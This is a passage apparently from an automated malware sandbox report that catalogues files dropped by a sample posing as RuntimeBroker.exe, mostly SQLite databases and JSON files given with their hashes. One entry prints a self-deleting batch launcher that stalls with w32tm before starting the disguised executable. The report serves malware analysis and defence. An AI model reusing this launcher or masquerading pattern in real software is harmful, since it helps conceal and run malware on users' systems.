Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Hq7oeEoiXb

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I0eiAfa6rS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I1iYowRRhx

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I7YUGwxzyI

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IQSx5XQaYA

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IQyB0HyqJo

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ig9pYECi0k

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\In1LoR0xXy

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217
Entropy (8bit):	5.0699330519873005
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1WD5R9vIKOZG1wkn23fL+dK:HTg9uYDEoLCfydK
MD5:	01684A6654920C20E01743FAC38792BE
SHA1:	A9560467802DB16B93258170EEA2070E5327C7D5
SHA-256:	54AA50238CAC0A46883AF1E4510F5DFAB2CC09F17B65E643CCEB8535B906A30A
SHA-512:	A277582A98744E1D32D7AC264BC6E472C6487B0553F454BB80F13EB2C62AD0EFD6CF61877B95E18A801BF64AB6BA98B244B634EA025159EA4BEBF460DD13B7AB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\Default\Recent\RuntimeBroker.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\IsGt2uaTvL.bat"

C:\Users\user\AppData\Local\Temp\JARqsMxUNN

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JHUBWFFwkA

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JX0qThwM2D

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JdX4DZgCwH

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\Jdfdm9xGL8

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JdqpA4KEh7

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\JiPfPreQAs

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JpQhglIcax

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JuCP9OnuuG

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KJovjhQ214

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KMUv1Up6B4

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\KWCHKpi4A2

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Kb9SxPNuws

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KhhGCaDlPr

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ks13UuDQ07

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\L1ljpFpet3

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L2RpoZ8cE4

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L2xT5geXhK

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
